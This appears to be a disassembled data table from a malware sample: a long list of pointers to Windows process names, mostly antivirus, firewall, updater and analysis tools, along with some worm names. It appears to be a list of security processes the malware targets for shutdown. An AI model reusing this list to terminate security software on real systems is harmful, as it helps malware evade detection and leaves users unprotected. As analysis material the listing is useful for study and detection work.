dd offset aAvpcc_exe ; "AVPCC.EXE"
dd offset aAvpdos32_exe ; "AVPDOS32.EXE"
dd offset aAvpm_exe ; "AVPM.EXE"
dd offset aAvptc32_exe ; "AVPTC32.EXE"
dd offset aAvpupd_exe ; "AVPUPD.EXE"
dd offset aAvpupd_exe_0 ; "AVPUPD.EXE"
dd offset aAvsched32_exe ; "AVSCHED32.EXE"
dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE"
dd offset aAvwin95_exe ; "AVWIN95.EXE"
dd offset aAvwinnt_exe ; "AVWINNT.EXE"
dd offset aAvwupd_exe ; "AVWUPD.EXE"
dd offset aAvwupd32_exe ; "AVWUPD32.EXE"
dd offset aAvwupd32_exe_0 ; "AVWUPD32.EXE"
dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE"
dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
dd offset aAvxquar_exe ; "AVXQUAR.EXE"
dd offset aAvxquar_exe_0 ; "AVXQUAR.EXE"
dd offset aBackweb_exe ; "BACKWEB.EXE"
dd offset aBargains_exe ; "BARGAINS.EXE"
dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
dd offset aBeagle_exe ; "BEAGLE.EXE"
dd offset aBelt_exe ; "BELT.EXE"
dd offset aBidef_exe ; "BIDEF.EXE"
dd offset aBidserver_exe ; "BIDSERVER.EXE"
dd offset aBipcp_exe ; "BIPCP.EXE"
dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
dd offset aBisp_exe ; "BISP.EXE"
dd offset aBlackd_exe ; "BLACKD.EXE"
dd offset aBlackice_exe ; "BLACKICE.EXE"
dd offset aBlss_exe ; "BLSS.EXE"
dd offset aBootconf_exe ; "BOOTCONF.EXE"
dd offset aBootwarn_exe ; "BOOTWARN.EXE"
dd offset aBorg2_exe ; "BORG2.EXE"
dd offset aBpc_exe ; "BPC.EXE"
dd offset aBrasil_exe ; "BRASIL.EXE"
dd offset aBs120_exe ; "BS120.EXE"
dd offset aBundle_exe ; "BUNDLE.EXE"
dd offset aBvt_exe ; "BVT.EXE"
dd offset aCcapp_exe ; "CCAPP.EXE"
dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE"
dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE"
dd offset aCdp_exe ; "CDP.EXE"
dd offset aCfd_exe ; "CFD.EXE"
dd offset aCfgwiz_exe ; "CFGWIZ.EXE"
dd offset aCfiadmin_exe ; "CFIADMIN.EXE"
dd offset aCfiaudit_exe ; "CFIAUDIT.EXE"
dd offset aCfiaudit_exe_0 ; "CFIAUDIT.EXE"
dd offset aCfinet_exe ; "CFINET.EXE"
dd offset aCfinet32_exe ; "CFINET32.EXE"
dd offset aClaw95cf_exe ; "CLAW95CF.EXE"
dd offset aClean_exe ; "CLEAN.EXE"
dd offset aCleaner_exe ; "CLEANER.EXE"
dd offset aCleaner3_exe ; "CLEANER3.EXE"
dd offset aCleanpc_exe ; "CLEANPC.EXE"
dd offset aClick_exe ; "CLICK.EXE"
dd offset aCmd32_exe ; "CMD32.EXE"
dd offset aCmesys_exe ; "CMESYS.EXE"
dd offset aCmgrdian_exe ; "CMGRDIAN.EXE"
dd offset aCmon016_exe ; "CMON016.EXE"
dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
dd offset aCpd_exe ; "CPD.EXE"
dd offset aCpf9x206_exe ; "CPF9X206.EXE"
dd offset aCpfnt206_exe ; "CPFNT206.EXE"
dd offset aCtrl_exe ; "CTRL.EXE"
dd offset aCv_exe ; "CV.EXE"
dd offset aCwnb181_exe ; "CWNB181.EXE"
dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE"
dd offset aClaw95_exe ; "Claw95.EXE"
dd offset aClaw95cf_exe_0 ; "CLAW95CF.EXE"
dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
dd offset aDcomx_exe ; "DCOMX.EXE"
dd offset aDefalert_exe ; "DEFALERT.EXE"
dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
dd offset aDefwatch_exe ; "DEFWATCH.EXE"
dd offset aDeputy_exe ; "DEPUTY.EXE"
dd offset aDivx_exe ; "DIVX.EXE"
dd offset aDllcache_exe ; "DLLCACHE.EXE"
dd offset aDllreg_exe ; "DLLREG.EXE"
dd offset aDoors_exe ; "DOORS.EXE"
dd offset aDpf_exe ; "DPF.EXE"
dd offset aDpfsetup_exe ; "DPFSETUP.EXE"
dd offset aDpps2_exe ; "DPPS2.EXE"
dd offset aDrwatson_exe ; "DRWATSON.EXE"
dd offset aDrweb32_exe ; "DRWEB32.EXE"
dd offset aDrwebupw_exe ; "DRWEBUPW.EXE"
dd offset aDssagent_exe ; "DSSAGENT.EXE"
dd offset aDvp95_exe ; "DVP95.EXE"
dd offset aDvp95_0_exe ; "DVP95_0.EXE"
dd offset aEcengine_exe ; "ECENGINE.EXE"
dd offset aEfpeadm_exe ; "EFPEADM.EXE"
dd offset aEmsw_exe ; "EMSW.EXE"
dd offset aEnt_exe ; "ENT.EXE"
dd offset aEsafe_exe ; "ESAFE.EXE"
dd offset aEscanh95_exe ; "ESCANH95.EXE"
dd offset aEscanhnt_exe ; "ESCANHNT.EXE"
dd offset aEscanv95_exe ; "ESCANV95.EXE"
dd offset aEspwatch_exe ; "ESPWATCH.EXE"
dd offset aEthereal_exe ; "ETHEREAL.EXE"
dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
dd offset aEvpn_exe ; "EVPN.EXE"
dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
dd offset aExe_avxw_exe ; "EXE.AVXW.EXE"
dd offset aExpert_exe ; "EXPERT.EXE"
dd offset aExplore_exe ; "EXPLORE.EXE"
dd offset aFAgnt95_exe ; "F-AGNT95.EXE"
dd offset aFProt_exe ; "F-PROT.EXE"
dd offset aFProt95_exe ; "F-PROT95.EXE"
dd offset aFStopw_exe ; "F-STOPW.EXE"
dd offset aFameh32_exe ; "FAMEH32.EXE"
dd offset aFast_exe ; "FAST.EXE"
dd offset aFch32_exe ; "FCH32.EXE"
dd offset aFih32_exe ; "FIH32.EXE"
dd offset aFindviru_exe ; "FINDVIRU.EXE"
dd offset aFirewall_exe ; "FIREWALL.EXE"
dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
dd offset aFnrb32_exe ; "FNRB32.EXE"
dd offset aFpWin_exe ; "FP-WIN.EXE"
dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
dd offset aFprot_exe ; "FPROT.EXE"
dd offset aFrw_exe ; "FRW.EXE"
dd offset aFsaa_exe ; "FSAA.EXE"
dd offset aFsav_exe ; "FSAV.EXE"
dd offset aFsav32_exe ; "FSAV32.EXE"
dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
dd offset aFsav95_exe ; "FSAV95.EXE"
dd offset aFsgk32_exe ; "FSGK32.EXE"
dd offset aFsm32_exe ; "FSM32.EXE"
dd offset aFsma32_exe ; "FSMA32.EXE"
dd offset aFsmb32_exe ; "FSMB32.EXE"
dd offset aGator_exe ; "GATOR.EXE"
dd offset aGbmenu_exe ; "GBMENU.EXE"
dd offset aGbpoll_exe ; "GBPOLL.EXE"
dd offset aGenerics_exe ; "GENERICS.EXE"
dd offset aGmt_exe ; "GMT.EXE"
dd offset aGuard_exe ; "GUARD.EXE"
dd offset aGuarddog_exe ; "GUARDDOG.EXE"
dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
dd offset aHbinst_exe ; "HBINST.EXE"
dd offset aHbsrv_exe ; "HBSRV.EXE"
dd offset aHotactio_exe ; "HOTACTIO.EXE"
dd offset aHotpatch_exe ; "HOTPATCH.EXE"
dd offset aHtlog_exe ; "HTLOG.EXE"
dd offset aHtpatch_exe ; "HTPATCH.EXE"
dd offset aHwpe_exe ; "HWPE.EXE"
dd offset aHxdl_exe ; "HXDL.EXE"
dd offset aHxiul_exe ; "HXIUL.EXE"
dd offset aIamapp_exe ; "IAMAPP.EXE"
dd offset aIamserv_exe ; "IAMSERV.EXE"
dd offset aIamstats_exe ; "IAMSTATS.EXE"
dd offset aIbmasn_exe ; "IBMASN.EXE"
dd offset aIbmavsp_exe ; "IBMAVSP.EXE"
dd offset aIcload95_exe ; "ICLOAD95.EXE"
dd offset aIcloadnt_exe ; "ICLOADNT.EXE"
dd offset aIcmon_exe ; "ICMON.EXE"
dd offset aIcsupp95_exe ; "ICSUPP95.EXE"
dd offset aIcsupp95_exe_0 ; "ICSUPP95.EXE"
dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE"
dd offset aIdle_exe ; "IDLE.EXE"
dd offset aIedll_exe ; "IEDLL.EXE"
dd offset aIedriver_exe ; "IEDRIVER.EXE"
dd offset aIexplorer_exe ; "IEXPLORER.EXE"
dd offset aIface_exe ; "IFACE.EXE"
dd offset aIfw2000_exe ; "IFW2000.EXE"
dd offset aInetlnfo_exe ; "INETLNFO.EXE"
dd offset aInfus_exe ; "INFUS.EXE"
dd offset aInfwin_exe ; "INFWIN.EXE"
dd offset aInit_exe ; "INIT.EXE"
dd offset aIntdel_exe ; "INTDEL.EXE"
dd offset aIntren_exe ; "INTREN.EXE"
dd offset aIomon98_exe ; "IOMON98.EXE"
dd offset aIparmor_exe ; "IPARMOR.EXE"
dd offset aIris_exe ; "IRIS.EXE"
dd offset aIsass_exe ; "ISASS.EXE"
dd offset aIsrv95_exe ; "ISRV95.EXE"
dd offset aIstsvc_exe ; "ISTSVC.EXE"
dd offset aJammer_exe ; "JAMMER.EXE"
dd offset aJdbgmrg_exe ; "JDBGMRG.EXE"
dd offset aJedi_exe ; "JEDI.EXE"
dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
dd offset aKavpf_exe ; "KAVPF.EXE"
dd offset aKazza_exe ; "KAZZA.EXE"
dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
dd offset aKernel32_exe ; "KERNEL32.EXE"
dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
dd offset aLauncher_exe ; "LAUNCHER.EXE"
dd offset aLdnetmon_exe ; "LDNETMON.EXE"
dd offset aLdpro_exe ; "LDPRO.EXE"
dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
dd offset aLdscan_exe ; "LDSCAN.EXE"
dd offset aLnetinfo_exe ; "LNETINFO.EXE"
dd offset aLoader_exe ; "LOADER.EXE"
dd offset aLocalnet_exe ; "LOCALNET.EXE"
dd offset aLockdown_exe ; "LOCKDOWN.EXE"
dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
dd offset aLookout_exe ; "LOOKOUT.EXE"
dd offset aLordpe_exe ; "LORDPE.EXE"
dd offset aLsetup_exe ; "LSETUP.EXE"
dd offset aLuall_exe ; "LUALL.EXE"
dd offset aLuall_exe_0 ; "LUALL.EXE"
dd offset aLuau_exe ; "LUAU.EXE"
dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
dd offset aLuinit_exe ; "LUINIT.EXE"
dd offset aLuspt_exe ; "LUSPT.EXE"
dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
dd offset aMcagent_exe ; "MCAGENT.EXE"
dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE"
dd offset aMcshield_exe ; "MCSHIELD.EXE"
dd offset aMctool_exe ; "MCTOOL.EXE"
dd offset aMcupdate_exe ; "MCUPDATE.EXE"
dd offset aMcupdate_exe_0 ; "MCUPDATE.EXE"
dd offset aMcvsrte_exe ; "MCVSRTE.EXE"
dd offset aMcvsshld_exe ; "MCVSSHLD.EXE"
dd offset aMd_exe ; "MD.EXE"
dd offset aMfin32_exe ; "MFIN32.EXE"
dd offset aMfw2en_exe ; "MFW2EN.EXE"
dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE"
dd offset aMgavrte_exe ; "MGAVRTE.EXE"
dd offset aMghtml_exe ; "MGHTML.EXE"
dd offset aMgui_exe ; "MGUI.EXE"
dd offset aMinilog_exe ; "MINILOG.EXE"
dd offset aMmod_exe ; "MMOD.EXE"
dd offset aMonitor_exe ; "MONITOR.EXE"
dd offset aMoolive_exe ; "MOOLIVE.EXE"
dd offset aMostat_exe ; "MOSTAT.EXE"
dd offset aMpfagent_exe ; "MPFAGENT.EXE"
dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
dd offset aMpftray_exe ; "MPFTRAY.EXE"
dd offset aMrflux_exe ; "MRFLUX.EXE"
dd offset aMsapp_exe ; "MSAPP.EXE"
dd offset aMsbb_exe ; "MSBB.EXE"
dd offset aMsblast_exe ; "MSBLAST.EXE"
dd offset aMscache_exe ; "MSCACHE.EXE"
dd offset aMsccn32_exe ; "MSCCN32.EXE"
dd offset aMscman_exe ; "MSCMAN.EXE"
dd offset aMsconfig_exe ; "MSCONFIG.EXE"
dd offset aMsdm_exe ; "MSDM.EXE"
dd offset aMsdos_exe ; "MSDOS.EXE"
dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
dd offset aMsinfo32_exe ; "MSINFO32.EXE"
dd offset aMslaugh_exe ; "MSLAUGH.EXE"
dd offset aMsmgt_exe ; "MSMGT.EXE"
dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
dd offset aMssmmc32_exe ; "MSSMMC32.EXE"
dd offset aMssys_exe ; "MSSYS.EXE"
dd offset aMsvxd_exe ; "MSVXD.EXE"
dd offset aMu0311ad_exe ; "MU0311AD.EXE"
dd offset aMwatch_exe ; "MWATCH.EXE"
dd offset aN32scanw_exe ; "N32SCANW.EXE"
dd offset aNav_exe ; "NAV.EXE"
dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
dd offset aNavapsvc_exe ; "NAVAPSVC.EXE"
dd offset aNavapw32_exe ; "NAVAPW32.EXE"
dd offset aNavdx_exe ; "NAVDX.EXE"
dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
dd offset aNavlu32_exe ; "NAVLU32.EXE"
dd offset aNavnt_exe ; "NAVNT.EXE"
dd offset aNavstub_exe ; "NAVSTUB.EXE"
dd offset aNavw32_exe ; "NAVW32.EXE"
dd offset aNavwnt_exe ; "NAVWNT.EXE"
dd offset aNc2000_exe ; "NC2000.EXE"
dd offset aNcinst4_exe ; "NCINST4.EXE"
dd offset aNdd32_exe ; "NDD32.EXE"
dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
dd offset aNetarmor_exe ; "NETARMOR.EXE"
dd offset aNetd32_exe ; "NETD32.EXE"
dd offset aNetinfo_exe ; "NETINFO.EXE"
dd offset aNetmon_exe ; "NETMON.EXE"
dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
dd offset aNetstat_exe ; "NETSTAT.EXE"
dd offset aNetutils_exe ; "NETUTILS.EXE"
dd offset aNisserv_exe ; "NISSERV.EXE"
dd offset aNisum_exe ; "NISUM.EXE"
dd offset aNmain_exe ; "NMAIN.EXE"
dd offset aNod32_exe ; "NOD32.EXE"
dd offset aNormist_exe ; "NORMIST.EXE"
dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
dd offset aNotstart_exe ; "NOTSTART.EXE"
dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
dd offset aNprotect_exe ; "NPROTECT.EXE"
dd offset aNpscheck_exe ; "NPSCHECK.EXE"
dd offset aNpssvc_exe ; "NPSSVC.EXE"
dd offset aNsched32_exe ; "NSCHED32.EXE"
dd offset aNssys32_exe ; "NSSYS32.EXE"
dd offset aNstask32_exe ; "NSTASK32.EXE"
dd offset aNsupdate_exe ; "NSUPDATE.EXE"
dd offset aNt_exe ; "NT.EXE"
dd offset aNtrtscan_exe ; "NTRTSCAN.EXE"
dd offset aNtvdm_exe ; "NTVDM.EXE"
dd offset aNtxconfig_exe ; "NTXconfig.EXE"
dd offset aNui_exe ; "NUI.EXE"
dd offset aNupgrade_exe ; "NUPGRADE.EXE"
dd offset aNupgrade_exe_0 ; "NUPGRADE.EXE"
dd offset aNvarch16_exe ; "NVARCH16.EXE"
dd offset aNvc95_exe ; "NVC95.EXE"
dd offset aNvsvc32_exe ; "NVSVC32.EXE"
dd offset aNwinst4_exe ; "NWINST4.EXE"
dd offset aNwservice_exe ; "NWSERVICE.EXE"
dd offset aNwtool16_exe ; "NWTOOL16.EXE"
dd offset aOllydbg_exe ; "OLLYDBG.EXE"
dd offset aOnsrvr_exe ; "ONSRVR.EXE"
dd offset aOptimize_exe ; "OPTIMIZE.EXE"
dd offset aOstronet_exe ; "OSTRONET.EXE"
dd offset aOtfix_exe ; "OTFIX.EXE"
dd offset aOutpost_exe ; "OUTPOST.EXE"
dd offset aOutpost_exe_0 ; "OUTPOST.EXE"
dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
dd offset aPadmin_exe ; "PADMIN.EXE"
dd offset aPanixk_exe ; "PANIXK.EXE"
dd offset aPatch_exe ; "PATCH.EXE"
dd offset aPavcl_exe ; "PAVCL.EXE"
dd offset aPavproxy_exe ; "PAVPROXY.EXE"
dd offset aPavsched_exe ; "PAVSCHED.EXE"
dd offset aPavw_exe ; "PAVW.EXE"
dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
dd offset aPcciomon_exe ; "PCCIOMON.EXE"
dd offset aPccntmon_exe ; "PCCNTMON.EXE"
dd offset aPccwin97_exe ; "PCCWIN97.EXE"
dd offset aPccwin98_exe ; "PCCWIN98.EXE"
dd offset aPcdsetup_exe ; "PCDSETUP.EXE"
dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
dd offset aPcscan_exe ; "PCSCAN.EXE"
dd offset aPdsetup_exe ; "PDSETUP.EXE"
dd offset aPenis_exe ; "PENIS.EXE"
dd offset aPeriscope_exe ; "PERISCOPE.EXE"
dd offset aPersfw_exe ; "PERSFW.EXE"
dd offset aPerswf_exe ; "PERSWF.EXE"
dd offset aPf2_exe ; "PF2.EXE"
dd offset aPfwadmin_exe ; "PFWADMIN.EXE"
dd offset aPgmonitr_exe ; "PGMONITR.EXE"
dd offset aPingscan_exe ; "PINGSCAN.EXE"
dd offset aPlatin_exe ; "PLATIN.EXE"
dd offset aPop3trap_exe ; "POP3TRAP.EXE"
dd offset aPoproxy_exe ; "POPROXY.EXE"
dd offset aPopscan_exe ; "POPSCAN.EXE"
dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
dd offset aPowerscan_exe ; "POWERSCAN.EXE"
dd offset aPpinupdt_exe ; "PPINUPDT.EXE"
dd offset aPptbc_exe ; "PPTBC.EXE"
dd offset aPpvstop_exe ; "PPVSTOP.EXE"
dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
dd offset aPrmt_exe ; "PRMT.EXE"
dd offset aPrmvr_exe ; "PRMVR.EXE"
dd offset aProcdump_exe ; "PROCDUMP.EXE"
dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
dd offset aProport_exe ; "PROPORT.EXE"
dd offset aProtectx_exe ; "PROTECTX.EXE"
dd offset aPspf_exe ; "PSPF.EXE"
dd offset aPurge_exe ; "PURGE.EXE"
dd offset aPussy_exe ; "PUSSY.EXE"
dd offset aPview95_exe ; "PVIEW95.EXE"
dd offset aQconsole_exe ; "QCONSOLE.EXE"
dd offset aQserver_exe ; "QSERVER.EXE"
dd offset aRapapp_exe ; "RAPAPP.EXE"
dd offset aRav7_exe ; "RAV7.EXE"
dd offset aRav7win_exe ; "RAV7WIN.EXE"
dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
dd offset aRay_exe ; "RAY.EXE"
dd offset aRb32_exe ; "RB32.EXE"
dd offset aRcsync_exe ; "RCSYNC.EXE"
dd offset aRealmon_exe ; "REALMON.EXE"
dd offset aReged_exe ; "REGED.EXE"
dd offset aRegedit_exe ; "REGEDIT.EXE"
dd offset aRegedt32_exe ; "REGEDT32.EXE"
dd offset aRescue_exe ; "RESCUE.EXE"
dd offset aRescue32_exe ; "RESCUE32.EXE"
dd offset aRrguard_exe ; "RRGUARD.EXE"
dd offset aRshell_exe ; "RSHELL.EXE"
dd offset aRtvscan_exe ; "RTVSCAN.EXE"
dd offset aRtvscn95_exe ; "RTVSCN95.EXE"
dd offset aRulaunch_exe ; "RULAUNCH.EXE"
dd offset aRun32dll_exe ; "RUN32DLL.EXE"
dd offset aRundll_exe ; "RUNDLL.EXE"
dd offset aRundll16_exe ; "RUNDLL16.EXE"
dd offset aRuxdll32_exe ; "RUXDLL32.EXE"
dd offset aSafeweb_exe ; "SAFEWEB.EXE"
dd offset aSahagent_exe ; "SAHAGENT.EXE"
dd offset aSave_exe ; "SAVE.EXE"
dd offset aSavenow_exe ; "SAVENOW.EXE"
dd offset aSbserv_exe ; "SBSERV.EXE"
dd offset aSc_exe ; "SC.EXE"
dd offset aScam32_exe ; "SCAM32.EXE"
dd offset aScan32_exe ; "SCAN32.EXE"
dd offset aScan95_exe ; "SCAN95.EXE"
dd offset aScanpm_exe ; "SCANPM.EXE"
dd offset aScrscan_exe ; "SCRSCAN.EXE"
dd offset aScrsvr_exe ; "SCRSVR.EXE"
dd offset aScvhost_exe ; "SCVHOST.EXE"
dd offset aSd_exe ; "SD.EXE"
dd offset aServ95_exe ; "SERV95.EXE"
dd offset aService_exe ; "SERVICE.EXE"
dd offset aServlce_exe ; "SERVLCE.EXE"
dd offset aServlces_exe ; "SERVLCES.EXE"
dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
dd offset aSfc_exe ; "SFC.EXE"
dd offset aSgssfw32_exe ; "SGSSFW32.EXE"
dd offset aSh_exe ; "SH.EXE"
dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
dd offset aShn_exe ; "SHN.EXE"
dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
dd offset aSmc_exe ; "SMC.EXE"
dd offset aSms_exe ; "SMS.EXE"
dd offset aSmss32_exe ; "SMSS32.EXE"
dd offset aSoap_exe ; "SOAP.EXE"
dd offset aSofi_exe ; "SOFI.EXE"
dd offset aSperm_exe ; "SPERM.EXE"
dd offset aSpf_exe ; "SPF.EXE"
dd offset aSphinx_exe ; "SPHINX.EXE"
dd offset aSpoler_exe ; "SPOLER.EXE"
dd offset aSpoolcv_exe ; "SPOOLCV.EXE"
dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
dd offset aSpyxx_exe ; "SPYXX.EXE"
dd offset aSrexe_exe ; "SREXE.EXE"
dd offset aSrng_exe ; "SRNG.EXE"
dd offset aSs3edit_exe ; "SS3EDIT.EXE"
dd offset aSsgrate_exe ; "SSGRATE.EXE"
dd offset aSsg_4104_exe ; "SSG_4104.EXE"
dd offset aSt2_exe ; "ST2.EXE"
dd offset aStart_exe ; "START.EXE"
dd offset aStcloader_exe ; "STCLOADER.EXE"
dd offset aSupftrl_exe ; "SUPFTRL.EXE"
dd offset aSupport_exe ; "SUPPORT.EXE"
dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
dd offset aSvc_exe ; "SVC.EXE"
dd offset aSvchostc_exe ; "SVCHOSTC.EXE"
dd offset aSvchosts_exe ; "SVCHOSTS.EXE"
dd offset aSvshost_exe ; "SVSHOST.EXE"
dd offset aSweep95_exe ; "SWEEP95.EXE"
dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
dd offset aSymtray_exe ; "SYMTRAY.EXE"
dd offset aSysedit_exe ; "SYSEDIT.EXE"
dd offset aSystem_exe ; "SYSTEM.EXE"
dd offset aSystem32_exe ; "SYSTEM32.EXE"
dd offset aSysupd_exe ; "SYSUPD.EXE"
dd offset aTaskmg_exe ; "TASKMG.EXE"
dd offset aTaskmo_exe ; "TASKMO.EXE"
dd offset aTaskmon_exe ; "TASKMON.EXE"
dd offset aTaumon_exe ; "TAUMON.EXE"
dd offset aTbscan_exe ; "TBSCAN.EXE"
dd offset aTc_exe ; "TC.EXE"
dd offset aTca_exe ; "TCA.EXE"
dd offset aTcm_exe ; "TCM.EXE"
dd offset aTds3_exe ; "TDS-3.EXE"
dd offset aTds298_exe ; "TDS2-98.EXE"
dd offset aTds2Nt_exe ; "TDS2-NT.EXE"
dd offset aTeekids_exe ; "TEEKIDS.EXE"
dd offset aTfak_exe ; "TFAK.EXE"
dd offset aTfak5_exe ; "TFAK5.EXE"
dd offset aTgbob_exe ; "TGBOB.EXE"
dd offset aTitanin_exe ; "TITANIN.EXE"
dd offset aTitaninxp_exe ; "TITANINXP.EXE"
dd offset aTracert_exe ; "TRACERT.EXE"
dd offset aTrickler_exe ; "TRICKLER.EXE"
dd offset aTrjscan_exe ; "TRJSCAN.EXE"
dd offset aTrjsetup_exe ; "TRJSETUP.EXE"
dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
dd offset aTsadbot_exe ; "TSADBOT.EXE"
dd offset aTvmd_exe ; "TVMD.EXE"
dd offset aTvtmd_exe ; "TVTMD.EXE"
dd offset aUndoboot_exe ; "UNDOBOOT.EXE"
dd offset aUpdat_exe ; "UPDAT.EXE"
dd offset aUpdate_exe ; "UPDATE.EXE"
dd offset aUpdate_exe_0 ; "UPDATE.EXE"
dd offset aUpgrad_exe ; "UPGRAD.EXE"
dd offset aUtpost_exe ; "UTPOST.EXE"
dd offset aVbcmserv_exe ; "VBCMSERV.EXE"
dd offset aVbcons_exe ; "VBCONS.EXE"
dd offset aVbust_exe ; "VBUST.EXE"
dd offset aVbwin9x_exe ; "VBWIN9X.EXE"
dd offset aVbwinntw_exe ; "VBWINNTW.EXE"
dd offset aVcsetup_exe ; "VCSETUP.EXE"
dd offset aVet32_exe ; "VET32.EXE"
dd offset aVet95_exe ; "VET95.EXE"
dd offset aVettray_exe ; "VETTRAY.EXE"
dd offset aVfsetup_exe ; "VFSETUP.EXE"
dd offset aVirHelp_exe ; "VIR-HELP.EXE"
dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
dd offset aVnlan300_exe ; "VNLAN300.EXE"
dd offset aVnpc3000_exe ; "VNPC3000.EXE"
dd offset aVpc32_exe ; "VPC32.EXE"
dd offset aVpc42_exe ; "VPC42.EXE"
dd offset aVpfw30s_exe ; "VPFW30S.EXE"
dd offset aVptray_exe ; "VPTRAY.EXE"
dd offset aVscan40_exe ; "VSCAN40.EXE"
dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
dd offset aVsched_exe ; "VSCHED.EXE"
dd offset aVsecomr_exe ; "VSECOMR.EXE"
dd offset aVshwin32_exe ; "VSHWIN32.EXE"
dd offset aVsisetup_exe ; "VSISETUP.EXE"
dd offset aVsmain_exe ; "VSMAIN.EXE"
dd offset aVsmon_exe ; "VSMON.EXE"
dd offset aVsstat_exe ; "VSSTAT.EXE"
dd offset aVswin9xe_exe ; "VSWIN9XE.EXE"
dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
dd offset aW32dsm89_exe ; "W32DSM89.EXE"
dd offset aW9x_exe ; "W9X.EXE"
dd offset aWatchdog_exe ; "WATCHDOG.EXE"
dd offset aWebdav_exe ; "WEBDAV.EXE"
dd offset aWebscanx_exe ; "WEBSCANX.EXE"
dd offset aWebtrap_exe ; "WEBTRAP.EXE"
dd offset aWfindv32_exe ; "WFINDV32.EXE"
dd offset aWgfe95_exe ; "WGFE95.EXE"
dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
dd offset aWimmun32_exe ; "WIMMUN32.EXE"
dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
dd offset aWin32_exe ; "WIN32.EXE"
dd offset aWin32us_exe ; "WIN32US.EXE"
dd offset aWinactive_exe ; "WINACTIVE.EXE"
dd offset aWindow_exe ; "WINDOW.EXE"
dd offset aWindows_exe ; "WINDOWS.EXE"
dd offset aWininetd_exe ; "WININETD.EXE"
dd offset aWininit_exe ; "WININIT.EXE"
dd offset aWininitx_exe ; "WININITX.EXE"
dd offset aWinlogin_exe ; "WINLOGIN.EXE"
dd offset aWinmain_exe ; "WINMAIN.EXE"
dd offset aWinnet_exe ; "WINNET.EXE"
dd offset aWinppr32_exe ; "WINPPR32.EXE"
dd offset aWinrecon_exe ; "WINRECON.EXE"
dd offset aWinservn_exe ; "WINSERVN.EXE"
dd offset aWinssk32_exe ; "WINSSK32.EXE"
dd offset aWinstart_exe ; "WINSTART.EXE"
dd offset aWinstart001_ex ; "WINSTART001.EXE"
